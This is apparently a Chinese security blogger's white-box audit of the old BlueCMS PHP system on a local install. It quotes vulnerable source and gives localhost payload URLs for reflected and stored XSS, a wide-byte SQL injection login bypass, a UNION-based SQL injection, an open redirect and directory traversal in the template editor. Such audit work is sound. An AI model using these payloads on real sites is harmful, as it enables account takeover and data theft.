好久没审计了。
环境安装
开源系统,也很久没更新了,在网上可以找到源码。
两个坑点,第一个是PHP版本必须是5.x,我用了5.4.45,不然打开后会白屏。
如果打开之后还是白屏,删除\uploads\install\compile中的php文件。
大部分白屏都是PHP版本的问题,改了就好了。
检测环境:保证所有目录可读可写即可,Windows的phpstudy只要不装在系统文件夹下都没事,Linux需要加个777权限。
参数配置,数据库配置连得上本机数据库就行。
填完又白屏了,看一下数据库,已经生成了
这个是否已经可以访问bluecms了。
文件结构
主要目录在Uploads下
├─admin # 后台管理员页面
├─api
├─data # 配置文件、备份、上传文件目录等
├─images
├─include # 公共文件,全局过滤、公共函数等
├─install # 下载文件配置
├─js
├─templates # 模板
└─uc_client
配置文件中,定义了字符集编码为gb2312,可能存在宽字节注入。
所有文件几乎都包含了/include/common.inc.php
,主要做的事情有身份认证、定义全局变量、输入过滤、IP检测,其中输入过滤如下:
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
其中没有过滤$_SERVER
变量,deep_addslashes()
定义在/include/common.fun.php
中。
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
addslashes()
定义在PHP中,负责在每个预定义的字符前添加反斜杠的字符串。
/include/common.inc.php
在获取IP时调用了getIp()
,用来获取IP地址:
/**
*
* 获取用户IP
*
*/
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
刚才已经知道了,对$_SERVER变量没有进行过滤,所以如果这里存在查询语句拼接等,可能存在安全隐患。
反射型XSS
第一处
整个CMS很多地方都没有采取任何转义过滤,反射型XSS普遍存在于每一个交互的地方。
结合SQL的XSS攻击:
elseif($act == 'del')
{
if(!$db->query("DELETE FROM ".table('ad_phone')." WHERE id=".$_GET['id']))
{
showmsg('删除电话广告出错', true);
}
else
{
showmsg('删除电话广告成功', 'ad_phone.php', true);
}
}
payload:
http://localhost/bluecms/uploads/admin/ad_phone.php?act=del&id=1%20or%20%3Cscript%3Ealert(1);%3C/script%3E
追踪如下,在query()函数中进行字符串拼接,接着调用dbshow函数
输出报错信息,这里的语句直接进行拼接,没有进行任何转义。
类似的报错XSS原理在用户删除等删除处都存在。
第二处
在uploads/user.php目录下
当传入参数为act=do_login时,存在反射型漏洞:
这个不好找,算是一种模板注入,当传入参数为act=reg&from=1时:
回显中有两个hidden input,利用拼接执行XSS
http://localhost/bluecms/uploads/user.php?act=reg&from=%22%3E%3Cimg%20src=%22%22%20onerror=alert(1)%3E#
大多反射型利用到的都是dbshow或者showmessage函数。
存储型XSS
这种就比较多了,找全也比较难。先到user.php中尝试注册新用户,观察数据流向。
分别对账号密码做了长度验证,并进行了账号查重。
初步发现对邮箱没有任何进行过滤,在注册功能向邮箱插入XSS。
有前端验证,Toggle javascript一开就完事了。
永久型XSS到手。
SQL注入
这里的洞多的离谱,找不全。
宽字节注入登录admin
login.php调用check_admin(),这里的查询语句使用了字符串拼接的模式,存在安全隐患:
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
这里POST的值中的单引号被反斜杠转义,由于MySQL实例化的类为gbk编码,在gbk中,两个字符会被当做一个汉字来进行转义,这里存在宽字节注入。
function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
$this->dbshow('Can not connect to Mysql!');
} else {
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
mysql_query("SET sql_mode = ''",$this->linkid);
}
}
}
if($dbname){
if(mysql_select_db($dbname, $this->linkid)===false){
$this->dbshow("Can't select MySQL database($dbname)!");
}
}
}
尝试抓包
绕过身份验证,登录成功。
ad_js.php的id注入
这里比较好利用,没有引号闭合,所以转义函数无效。
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
这里回显被注释了,要看源码拿信息:
view-source:http://localhost/bluecms/uploads/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,user();%23
在多个地方都有类似的利用点。
任意URL跳转
这个洞以前还没接触过类似的,在uploads/user.php,是一种反向跳转。
//uploads/user.php 16
$from = !empty($_REQUEST['from']) ? $_REQUEST['from'] : '';
//uploads/user.php 66
$from = !empty($from) ? base64_decode($from) : 'user.php';
//uploads/user,php 112
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);
$_REQUEST
获取的参数$from
经过base64解码后作为URL进行跳转,而$from
参数可控。
任意文件读取修改
在模板修改这里提供了文件修改的功能,作为一个老CTF混子,猜测这里一定有文件修改,我们点进一个编辑看一下:
用来控制文件的参数为tql_name,如果我们用目录穿越来读取文件呢?
成功找到了文件,但是无法获得文件具体信息,经过尝试,发现读取非html文件时,只能对文件进行修改,而不能读取。
白盒审计,看一下逻辑。
规定了默认路径,但是允许字符串拼接,对传入的参数没有任何过滤,从而实现目录穿越。
文件保存也是同一原理,可以保存任何内容。